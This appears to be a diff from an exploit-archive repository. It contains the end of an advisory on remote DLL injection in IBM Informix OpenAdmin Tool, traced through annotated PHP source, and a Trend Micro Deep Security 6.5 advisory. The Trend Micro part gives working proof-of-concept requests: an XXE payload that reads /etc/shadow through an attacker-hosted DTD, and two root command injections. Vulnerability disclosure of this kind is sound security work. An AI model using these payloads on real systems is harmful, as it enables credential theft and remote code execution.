|
||||||
|
{
|
||||||
|
$this->setOATLiteLang($lang);
|
||||||
|
|
||||||
|
$sql = "SELECT DBINFO('version','major') AS vers FROM sysha_type ";
|
||||||
|
$this->handlingPDOException = TRUE;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$temp = $this->doDatabaseWork($sql, "sysmaster", $server, $host, $port, $protocol, $username, $password); <------------- [1]
|
||||||
|
/* set handlingPDOException back to false in case this is used in a multi call */
|
||||||
|
$this->handlingPDOException = FALSE;
|
||||||
|
}
|
||||||
|
catch(PDOException $e)
|
||||||
|
{
|
||||||
|
return array("canConnect" => false, "message" => $e->getMessage());
|
||||||
|
}
|
||||||
|
catch(Exception $e1)
|
||||||
|
{
|
||||||
|
//error_log("Could not connect, returning false");
|
||||||
|
return array("canConnect" => false, "message" => $e1->getMessage());
|
||||||
|
}
|
||||||
|
//error_log(var_export($temp));
|
||||||
|
//error_log("temp: " . var_export($temp[0]['VERS'], true));
|
||||||
|
if($temp[0]['VERS'] < 11)
|
||||||
|
{
|
||||||
|
return array("canConnect" => false, "message" => $this->idsadmin->lang('ServerVersionLessThan11'));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return array("canConnect" => true, "message" => "");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
...
|
||||||
|
|
||||||
|
$server, $host, $port, $protocol are received from the SOAP request and they are fully controlled;
|
||||||
|
at [1] doDatabaseWork() is called, then look:
|
||||||
|
|
||||||
|
...
|
||||||
|
/**
|
||||||
|
* Runs query on specified database
|
||||||
|
* @return array containing all selected records
|
||||||
|
*/
|
||||||
|
private function doDatabaseWork($sel, $dbname="sysmaster", $serverName, $host, $port, $protocol, $user, $password,
|
||||||
|
$timeout = 10, $exceptions=false, $locale=NULL)
|
||||||
|
{
|
||||||
|
$ret = array();
|
||||||
|
if ( $this->useSameConnection == null )
|
||||||
|
$db = $this->getDBConnection($dbname, $serverName, $host, $port, $protocol, $user, $password, $timeout, $locale); <--------------------- [2]
|
||||||
|
else
|
||||||
|
$db = $this->useSameConnection;
|
||||||
|
|
||||||
|
while (1 == 1)
|
||||||
|
{
|
||||||
|
$stmt = $db->query($sel); // not required as this is using the PDO->query not the $idsadmin->db->query ,false,$exceptions,$locale);
|
||||||
|
|
||||||
|
$err = $db->errorInfo();
|
||||||
|
if ( $err[1] != 0 )
|
||||||
|
{
|
||||||
|
trigger_error("{$err[1]} - {$err[2]}",E_USER_ERROR);
|
||||||
|
}
|
||||||
|
|
||||||
|
while ($row = $stmt->fetch(PDO::FETCH_ASSOC) )
|
||||||
|
{
|
||||||
|
$ret[] = $row;
|
||||||
|
}
|
||||||
|
|
||||||
|
$err = $db->errorInfo();
|
||||||
|
|
||||||
|
if ( $err[2] == 0 )
|
||||||
|
{
|
||||||
|
$stmt->closeCursor();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$err = "Error: {$err[2]} - {$err[1]}";
|
||||||
|
$stmt->closeCursor();
|
||||||
|
trigger_error($err,E_USER_ERROR);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $ret;
|
||||||
|
}
|
||||||
|
...
|
||||||
|
|
||||||
|
At [2] getDBConnection() is called with controlled parameters, finally look:
|
||||||
|
|
||||||
|
...
|
||||||
|
/**
|
||||||
|
* Gets connection to specified database
|
||||||
|
*/
|
||||||
|
function getDBConnection($dbname, $serverName, $host, $port, $protocol, $user, $password, $timeout = 10, $locale = null)
|
||||||
|
{
|
||||||
|
//$INFORMIXCONTIME=2;
|
||||||
|
$INFORMIXCONRETRY=10;
|
||||||
|
settype($timeout, 'integer');
|
||||||
|
|
||||||
|
putenv("INFORMIXCONTIME={$timeout}");
|
||||||
|
putenv("INFORMIXCONRETRY={$INFORMIXCONRETRY}");
|
||||||
|
|
||||||
|
$dsn .= "informix:host={$host}"; <------------------------------------ [3]
|
||||||
|
$dsn .= ";service={$port}"; <----------------------------------
|
||||||
|
$dsn .= ";database={$dbname}"; <---------------------------------------
|
||||||
|
$dsn .= ";protocol={$protocol}"; <----------------------------------
|
||||||
|
$dsn .= ";server={$serverName}"; <-------------------------------
|
||||||
|
$db = null;
|
||||||
|
|
||||||
|
if(substr(PHP_OS,0,3) != "WIN")
|
||||||
|
{
|
||||||
|
$informixdir = $this->idsadmin->get_config("INFORMIXDIR");
|
||||||
|
$libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR") ? "dylib" : "so";
|
||||||
|
$dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
|
||||||
|
$dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( $locale != null )
|
||||||
|
{
|
||||||
|
$client_locale = substr($locale,0,strrpos($locale,".")) . ".UTF8";
|
||||||
|
$dsn .= ";CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};";
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( $this->handlingPDOException === FALSE )
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
$db = new PDO ("{$dsn}",$user,utf8_decode($password) ); <------------------------------- [4] boom!
|
||||||
|
}
|
||||||
|
catch ( PDOException $e )
|
||||||
|
{
|
||||||
|
//error_log(var_export ( $db->errorInfo() , true ) );
|
||||||
|
//trigger_error($e->getMessage(),E_USER_ERROR);
|
||||||
|
$exception = $this->parsePDOException($e->getMessage());
|
||||||
|
throw new SoapFault("{$exception['code']}",$exception['message']);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$db = new PDO ("{$dsn}",$user,$password);
|
||||||
|
}
|
||||||
|
return $db;
|
||||||
|
}
|
||||||
|
...
|
||||||
|
|
||||||
|
At [3] a connection string is concatenated without prior sanitization, arbitrary parameters can be injected via ‘;’; ‘TRANSLATIONDLL’ and other dangerous parameters can be specified.
|
||||||
|
|
||||||
|
At [4], the resulting connection string is passed to the PDO object, causing the dll to be loaded before the authentication is performed.
|
||||||
|
|
||||||
|
Remote DLL Injection that leads to remote code execution (3)
|
||||||
|
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.
|
||||||
|
|
||||||
|
The specific flaw exists within two PHP scripts in OpenAdmin tool.
|
||||||
|
|
||||||
|
MACH11Server.php allows to insert a row into the underlying SQLite Database without prior authentication, by sending a specific SOAP request to MACH11Service.php and specifying the ‘addServerToCache‘ method.
|
||||||
|
pinger.php construct a connection string for the underlying Informix database, based on the row previously inserted. Given this it is possible to inject the ‘TRANSLATIONDLL‘ property into this connection string and to cause the Apache process to load the pointed dll from a remote network share controlled by the attacker.
|
||||||
|
vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\idsadmin\MACH11Server.php
|
||||||
|
|
||||||
|
...
|
||||||
|
function addServerToCache ($group_num
|
||||||
|
, $host
|
||||||
|
, $port
|
||||||
|
, $server
|
||||||
|
, $idsprotocol
|
||||||
|
, $lat
|
||||||
|
, $lon
|
||||||
|
, $username
|
||||||
|
, $password
|
||||||
|
, $cluster_id
|
||||||
|
, $last_type )
|
||||||
|
{
|
||||||
|
|
||||||
|
$password = connections::encode_password($password);
|
||||||
|
|
||||||
|
$query = "INSERT INTO connections "
|
||||||
|
. " ( group_num "
|
||||||
|
. " , host "
|
||||||
|
. " , port "
|
||||||
|
. " , server "
|
||||||
|
. " , idsprotocol "
|
||||||
|
. " , lat "
|
||||||
|
. " , lon "
|
||||||
|
. " , username "
|
||||||
|
. " , password "
|
||||||
|
. " , cluster_id "
|
||||||
|
. " , last_type ) "
|
||||||
|
. " VALUES ( {$group_num} "
|
||||||
|
. " , '{$host}' "
|
||||||
|
. " , '{$port}' "
|
||||||
|
. " , '{$server}' "
|
||||||
|
. " , '{$idsprotocol}'"
|
||||||
|
. " , {$lat} "
|
||||||
|
. " , {$lon} "
|
||||||
|
. " , '{$username}' "
|
||||||
|
. " , '{$password}' "
|
||||||
|
. " , {$cluster_id} "
|
||||||
|
. " , {$last_type} ) ";
|
||||||
|
|
||||||
|
$this->doDatabaseWork ( $query );
|
||||||
|
return $this->db->lastInsertId ( );
|
||||||
|
//return sqlite_last_insert_rowid ( $this->db );
|
||||||
|
}
|
||||||
|
...
|
||||||
|
|
||||||
|
The previously empty ‘connections‘ table is populated with one row.
|
||||||
|
|
||||||
|
Let’s look at C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\lib\pinger.php
|
||||||
|
|
||||||
|
<?php
|
||||||
|
[..]
|
||||||
|
|
||||||
|
register_shutdown_function("shutdownHandler",$db);
|
||||||
|
|
||||||
|
ini_set("max_execution_time", -1);
|
||||||
|
|
||||||
|
#set the maxexecution time..
|
||||||
|
set_time_limit(-1);
|
||||||
|
|
||||||
|
ignore_user_abort(TRUE);
|
||||||
|
|
||||||
|
@header( 'Content-Type: image/gif' );
|
||||||
|
print base64_decode( 'R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==' );
|
||||||
|
ob_flush();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* pinger
|
||||||
|
* get / update the status of each server in the connections db.
|
||||||
|
*/
|
||||||
|
|
||||||
|
# set the CONFDIR
|
||||||
|
define(CONFDIR,"../conf/");
|
||||||
|
|
||||||
|
require_once(CONFDIR."config.php");
|
||||||
|
$pinginterval=isset($CONF["PINGINTERVAL"]) ? $CONF["PINGINTERVAL"] : 300;
|
||||||
|
|
||||||
|
if ( ! isset($CONF['CONNDBDIR']) )
|
||||||
|
{
|
||||||
|
// error_log("Please check config.php param CONNDBDIR - it doesnt seem to be set.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( ! is_dir($CONF['CONNDBDIR']) )
|
||||||
|
{
|
||||||
|
error_log("Please check config.php param CONNDBDIR - it doesnt seem to be set to a directory.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$dbfile="{$CONF['CONNDBDIR']}/connections.db";
|
||||||
|
|
||||||
|
$informixdir=getenv("INFORMIXDIR");
|
||||||
|
|
||||||
|
if ( ! file_exists($dbfile) )
|
||||||
|
{
|
||||||
|
// error_log("*** Cannot find connections.db - {$dbfile} ****");
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
|
||||||
|
unset($CONF);
|
||||||
|
|
||||||
|
# connect to the sqlite database.
|
||||||
|
$db = new PDO ("sqlite:{$dbfile}");
|
||||||
|
$db->setAttribute(PDO::ATTR_CASE,PDO::CASE_UPPER);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* lets get our last runtime and if we are running ..
|
||||||
|
*/
|
||||||
|
|
||||||
|
$qry = "select lastrun , isrunning from pingerinfo";
|
||||||
|
$stmt = $db->query($qry);
|
||||||
|
$row = $stmt->fetch(PDO::FETCH_ASSOC);
|
||||||
|
$stmt->closeCursor();
|
||||||
|
|
||||||
|
if ( $row['ISRUNNING'] > 0 )
|
||||||
|
{
|
||||||
|
$timenow = time();
|
||||||
|
if ( $timenow - $row['LASTRUN'] > 3000 )
|
||||||
|
{
|
||||||
|
error_log( "Reset pinger - should run next time ");
|
||||||
|
$db->query("update pingerinfo set isrunning = 0");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* we are already running so lets just quit now */
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
|
||||||
|
$timenow = time();
|
||||||
|
if ( $timenow - $row['LASTRUN'] < $pinginterval )
|
||||||
|
{
|
||||||
|
// error_log( "no need to run "."Last: ".($timenow - $row['LAST'])." - {$pinginterval}" );
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
|
||||||
|
$db->query("update pingerinfo set isrunning = {$timenow} ");
|
||||||
|
|
||||||
|
// error_log ( "we better run "."Last: ".($timenow - $row['LAST'])." - {$pinginterval}" );
|
||||||
|
|
||||||
|
putenv("INFORMIXCONTIME=5");
|
||||||
|
putenv("INFORMIXCONRETRY=1");
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* prepare the update string.
|
||||||
|
*/
|
||||||
|
$update = $db->prepare("update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg where conn_num = :conn_num");
|
||||||
|
$update2 = $db->prepare("update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg, lastonline=:lastonline where conn_num = :conn_num");
|
||||||
|
|
||||||
|
/**
|
||||||
|
* we need to include the lib/connections.php
|
||||||
|
* so we can access the password hooks functions.
|
||||||
|
*/
|
||||||
|
|
||||||
|
require_once 'connections.php';
|
||||||
|
/**
|
||||||
|
* lets get all our defined connections.
|
||||||
|
*/
|
||||||
|
$sql = "select * from connections order by server";
|
||||||
|
$stmt = $db->query($sql);
|
||||||
|
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
|
||||||
|
|
||||||
|
$starttime=time();
|
||||||
|
$status = "Start Time: {$starttime}\n";
|
||||||
|
|
||||||
|
foreach ( $rows as $k=>$row )
|
||||||
|
{
|
||||||
|
|
||||||
|
$now = time();
|
||||||
|
$dsn = <<<EOF
|
||||||
|
informix:host={$row['HOST']};service={$row['PORT']};database=sysmaster;server={$row['SERVER']};protocol={$row['IDSPROTOCOL']}; //<---------------------- [1]
|
||||||
|
EOF;
|
||||||
|
|
||||||
|
if ( substr(PHP_OS,0,3) != "WIN" )
|
||||||
|
{
|
||||||
|
$libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR")? "dylib":"so";
|
||||||
|
$dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
|
||||||
|
$dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
|
||||||
|
}
|
||||||
|
|
||||||
|
$statemessage="Online";
|
||||||
|
$state=1;
|
||||||
|
|
||||||
|
$user = $row['USERNAME'];
|
||||||
|
$passwd = connections::decode_password( $row['PASSWORD'] );
|
||||||
|
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$pingdb = new PDO($dsn,$user,utf8_decode($passwd)); <---------------------------------- [2]
|
||||||
|
}
|
||||||
|
catch(PDOException $e)
|
||||||
|
{
|
||||||
|
// error_log( $e->getMessage() );
|
||||||
|
$message=preg_split("/:/",$e->getMessage());
|
||||||
|
$statemessage= preg_replace("#\[.+\]#","",$message[1]);
|
||||||
|
$statemessage.=" Last Online:".lastonlineconv($row['LASTONLINE']);
|
||||||
|
$state=3;
|
||||||
|
}
|
||||||
|
[..]
|
||||||
|
...
|
||||||
|
|
||||||
|
at [1] a connection string is concatenated with values taken from SQLite connection table. Arbitrary properties can be specified through “;”, leading to remote code
|
||||||
|
execution, when [2] the PDO object is instantiated.
|
||||||
|
|
||||||
|
Remote DLL Injection that leads to remote code execution (4)
|
||||||
|
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.
|
||||||
|
|
||||||
|
By contact the ‘adminapiService.php‘ SOAP interface and constructing a proper request to this endpoint, with the ‘createSBSpace‘ method specified, it possible to inject parameters into a connection string for the underlying Informix database.
|
||||||
|
|
||||||
|
vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\adminapiService.php
|
||||||
|
|
||||||
|
...
|
||||||
|
<?php
|
||||||
|
[..]
|
||||||
|
|
||||||
|
// turn of caching of the wsdl for now.
|
||||||
|
$ini = ini_set("soap.wsdl_cache_enabled","0");
|
||||||
|
|
||||||
|
// load our actual server.
|
||||||
|
require_once("adminapiServer.php");
|
||||||
|
|
||||||
|
//create our soapserver.
|
||||||
|
$server = new SoapServer("adminapi.wsdl");
|
||||||
|
|
||||||
|
$server->setClass("adminapiServer");
|
||||||
|
if (isset($HTTP_RAW_POST_DATA)) {
|
||||||
|
$request = $HTTP_RAW_POST_DATA;
|
||||||
|
} else {
|
||||||
|
$request = file_get_contents('php://input');
|
||||||
|
}
|
||||||
|
//error_log($request);
|
||||||
|
//error_log(var_export($server,true));
|
||||||
|
$server->handle($request);
|
||||||
|
?>
|
||||||
|
...
|
||||||
|
|
||||||
|
There is no check before handling request.
|
||||||
|
|
||||||
|
Let’s look into the createSBSpace() method from C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\adminapiServer.php
|
||||||
|
|
||||||
|
...
|
||||||
|
function createSBSpace( $connectionObj,$dbsname,$path,$size,$offset
|
||||||
|
,$mpath="",$moffset="" )
|
||||||
|
{
|
||||||
|
|
||||||
|
if (!dbsname)
|
||||||
|
{
|
||||||
|
throw new SoapFault("createSBSpace","missing param dbsname");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!path)
|
||||||
|
{
|
||||||
|
throw new SoapFault("createSBSpace","missing param path");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!size)
|
||||||
|
{
|
||||||
|
throw new SoapFault("createSBSpace","missing param size");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!offset)
|
||||||
|
{
|
||||||
|
throw new SoapFault("createSBSpace","missing param offset");
|
||||||
|
}
|
||||||
|
|
||||||
|
$qry = "execute function ".ADMIN_API_FUNCTION." ('create sbspace' ";
|
||||||
|
$qry .= ",'{$dbsname}'";
|
||||||
|
$qry .= ",'{$path}'";
|
||||||
|
$qry .= ",'{$size}'";
|
||||||
|
$qry .= ",'{$offset}'";
|
||||||
|
|
||||||
|
if ( $mpath )
|
||||||
|
{
|
||||||
|
$qry .= ",'{$mpath}'";
|
||||||
|
|
||||||
|
if ( $moffset )
|
||||||
|
{
|
||||||
|
$qry .= ",'{$moffset}'";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$qry .= ")";
|
||||||
|
|
||||||
|
return $this->doDatabaseWork($connectionObj,$qry); <----------------------- [1]
|
||||||
|
} // end createSBSpace
|
||||||
|
...
|
||||||
|
|
||||||
|
at [1] doDatabaseWork() is called with a controlled $connectionObj parameter
|
||||||
|
|
||||||
|
...
|
||||||
|
/**
|
||||||
|
* doDatabaseWork
|
||||||
|
* connectionObj = the connection details.
|
||||||
|
* qry = the query to execute
|
||||||
|
*/
|
||||||
|
function doDatabaseWork($connectionObj,$qry)
|
||||||
|
{
|
||||||
|
require_once("soapdb.php");
|
||||||
|
|
||||||
|
$host = $connectionObj->host;
|
||||||
|
$port = $connectionObj->port;
|
||||||
|
$servername = $connectionObj->servername;
|
||||||
|
$user = $connectionObj->user;
|
||||||
|
$pass = $connectionObj->password;
|
||||||
|
$protocol = $connectionObj->protocol;
|
||||||
|
$dbname = "sysadmin";
|
||||||
|
|
||||||
|
$db = new soapdb($host,$port,$servername,$protocol,$dbname,$user,$pass); <-------------------------------- [2]
|
||||||
|
$stmt = $db->query($qry);
|
||||||
|
|
||||||
|
while ($row = $stmt->fetch() )
|
||||||
|
{
|
||||||
|
$ret = implode("|",$row);
|
||||||
|
}
|
||||||
|
return $ret;
|
||||||
|
} // end doDatabaseWork
|
||||||
|
...
|
||||||
|
|
||||||
|
At [2] the ‘soapdb‘ class is instantiated with controlled parameters
|
||||||
|
|
||||||
|
__construct() method from C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\soapdb.php
|
||||||
|
|
||||||
|
...
|
||||||
|
/* function __construct
|
||||||
|
* constructor
|
||||||
|
*/
|
||||||
|
|
||||||
|
function __construct($host,$port,$servername,$protocol="onsoctcp",$dbname="sysmaster",$user="",$passwd="")
|
||||||
|
{
|
||||||
|
|
||||||
|
#$persist = array( PDO::ATTR_PERSISTENT => false);
|
||||||
|
$persist = array( PDO::ATTR_PERSISTENT => true);
|
||||||
|
putenv("INFORMIXCONTIME=3");
|
||||||
|
putenv("INFORMIXCONRETRY=1");
|
||||||
|
|
||||||
|
$informixdir= getenv("INFORMIXDIR");
|
||||||
|
$dsn = <<<EOF
|
||||||
|
informix:host={$host};service={$port};database={$dbname};server={$servername};protocol={$protocol}; <------------------------------ [3]
|
||||||
|
EOF;
|
||||||
|
|
||||||
|
try {
|
||||||
|
parent::__construct($dsn,$user,utf8_decode($passwd),$persist); <---------------------------- [4]
|
||||||
|
} catch(PDOException $e) {
|
||||||
|
throw new SoapFault("Connection Failed:","DSN:{$dsn} ERROR:{$e->getMessage()}");
|
||||||
|
}
|
||||||
|
|
||||||
|
} #end ___construct
|
||||||
|
...
|
||||||
|
|
||||||
|
at [3] a connection string is concatenated with user-controlled parameters
|
||||||
|
|
||||||
|
at [4] PDO::__construct() is called, then the dll is loaded by the Apache process.
|
125
platforms/xml/webapps/42089.txt
Executable file
125
platforms/xml/webapps/42089.txt
Executable file
|
@ -0,0 +1,125 @@
|
||||||
|
The following advisory describes three (3) vulnerabilities found in Trend Micro Deep Security version 6.5.
|
||||||
|
|
||||||
|
“The Trend Micro Hybrid Cloud Security solution, powered by XGen security, delivers a blend of cross-generational threat defense techniques that have been optimized to protect physical, virtual, and cloud workloads. It features Trend Micro Deep Security, the market share leader in server security, protecting millions of physical, virtual, and cloud servers around the world.
|
||||||
|
Deep Security offers multiple layers of security that protect your servers as they move—across the data center, into the cloud, or in a hybrid deployment.”
|
||||||
|
|
||||||
|
The vulnerabilities found in Trend Micro Deep Security:
|
||||||
|
1. XML External Entity (XXE) that lead to arbitrary file disclosure
|
||||||
|
2. Local Privilege Escalation
|
||||||
|
3. Remote code execution
|
||||||
|
|
||||||
|
Credit
|
||||||
|
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
|
||||||
|
|
||||||
|
Vendor response
|
||||||
|
|
||||||
|
Trend Micro has released patches to address these vulnerabilities and issued the following advisory: https://success.trendmicro.com/solution/1117412
|
||||||
|
|
||||||
|
Vulnerabilities Details
|
||||||
|
|
||||||
|
XML External Entity (XXE) that lead to arbitrary file disclosure
|
||||||
|
|
||||||
|
Trend Micro Security Manager uses an outdated REST API (resteasyjaxrs2.3.5.Final.jar). The library suffers from an XXE vulnerability that can be exploited using Parameter Entities.
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
|
||||||
|
By sending the following POST request, an attacker can gain the victims “/etc/shadow”
|
||||||
|
|
||||||
|
1 POST /rest/authentication/login/sso HTTP/1.1
|
||||||
|
2 Host: 192.168.18.129:4119
|
||||||
|
3 ContentType: application/xml
|
||||||
|
4 ContentLength: 360
|
||||||
|
5
|
||||||
|
6 <?xml version="1.0" encoding="utf8"?>
|
||||||
|
7 <!DOCTYPE roottag [
|
||||||
|
8 <!ENTITY % start "<![CDATA[">
|
||||||
|
9 <!ENTITY % goodies SYSTEM "file:///etc/shadow">
|
||||||
|
10 <!ENTITY % end "]]>">
|
||||||
|
11 <!ENTITY % dtd SYSTEM "http://192.168.18.130/combine.dtd">
|
||||||
|
12 %dtd;
|
||||||
|
13
|
||||||
|
14 ]> 15
|
||||||
|
16 <dsCredentials>
|
||||||
|
17 <password>P@ssw0rd</password>
|
||||||
|
18 <tenantName></tenantName>
|
||||||
|
19 <userName>&all;</userName>
|
||||||
|
20 </dsCredentials>
|
||||||
|
|
||||||
|
Local Privilege Escalation
|
||||||
|
|
||||||
|
Admin users have access via the web interface to the SSH configuration settings. The port settings are not properly handled and allow injecting shell commands as the root user.
|
||||||
|
|
||||||
|
1 POST /SSHConfig.jsp HTTP/1.1
|
||||||
|
2 Host: 192.168.254.176:8443
|
||||||
|
3 UserAgent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
|
||||||
|
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
5 AcceptLanguage: enUS,en;q=0.5
|
||||||
|
6 Referer: https://192.168.254.176:8443/SSHConfig.jsp
|
||||||
|
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
|
||||||
|
8 Connection: close
|
||||||
|
9 ContentType: application/xwwwformurlencoded
|
||||||
|
10 ContentLength: 150
|
||||||
|
11 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
|
||||||
|
12 atus=enable&SSHPort=22&op=save&cbSSHStatus=enable&btSSHPort=221
|
||||||
|
|
||||||
|
In the above code, the SSHPort= parameter does not sanitize the incoming data. An attacker can use this to inject commands that will run as root on the victim’s machine.
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
|
||||||
|
The following POST request will call the sleep command with a value of 60 seconds:
|
||||||
|
|
||||||
|
1 POST /SSHConfig.jsp HTTP/1.1
|
||||||
|
2 Host: 192.168.254.176:8443
|
||||||
|
3 UserAgent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
|
||||||
|
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
5 AcceptLanguage: enUS,en;q=0.5
|
||||||
|
6 Referer: https://192.168.254.176:8443/SSHConfig.jsp
|
||||||
|
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
|
||||||
|
8 Connection: close
|
||||||
|
9 ContentType: application/xwwwformurlencoded
|
||||||
|
10 ContentLength: 150
|
||||||
|
11
|
||||||
|
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
|
||||||
|
13 atus=enable&SSHPort=%60sleep%2010%60&op=save&cbSSHStatus=enable&btSSHPort=221
|
||||||
|
|
||||||
|
Remote code execution
|
||||||
|
|
||||||
|
Trend Micro Deep Security has a default user with sudo privileges named iscan. This user is locked out but it can access certain elevated functions.
|
||||||
|
|
||||||
|
1 POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
|
||||||
|
2 Host: 192.168.254.176:8443
|
||||||
|
3 UserAgent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
|
||||||
|
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
5 AcceptLanguage: enUS,en;q=0.5
|
||||||
|
6 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
|
||||||
|
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
|
||||||
|
8 Connection: close
|
||||||
|
9 ContentType: application/xwwwformurlencoded
|
||||||
|
10 ContentLength: 259
|
||||||
|
11
|
||||||
|
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
|
||||||
|
13 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
|
||||||
|
14 oldport=&netid=192.168.1.0&netmask=255.255.255.0&router=192.168.1.1&interface_vlanid_sel=eth1
|
||||||
|
|
||||||
|
In the above POST request, we can see the page has several parameters that are vulnerable and that we can inject malicious parameters through them: netid, netmask, router, and interface_vlanid_sel
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
|
||||||
|
1 POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
|
||||||
|
2 Host: 192.168.254.176:8443
|
||||||
|
3 UserAgent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
|
||||||
|
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
5 AcceptLanguage: enUS,en;q=0.5
|
||||||
|
6 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
|
||||||
|
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
|
||||||
|
8 Connection: close
|
||||||
|
9 ContentType: application/xwwwformurlencoded
|
||||||
|
10 ContentLength: 259
|
||||||
|
11
|
||||||
|
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
|
||||||
|
13 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
|
||||||
|
14 oldport=&netid=192.168.1.0%7c%7c%60ping%20
|
||||||
|
15 c%2021%20127.0.0.1%60%20%23'%7c%7c%60ping%20
|
||||||
|
16 c%2021%20127.0.0.1%60%20%23%5c%22%20&netmask=255.255.255.0&router=192.168.1.1&inte
|
||||||
|
17 rface_vlanid_sel=eth1
|
||||||
|
|
Loading…
Add table
Reference in a new issue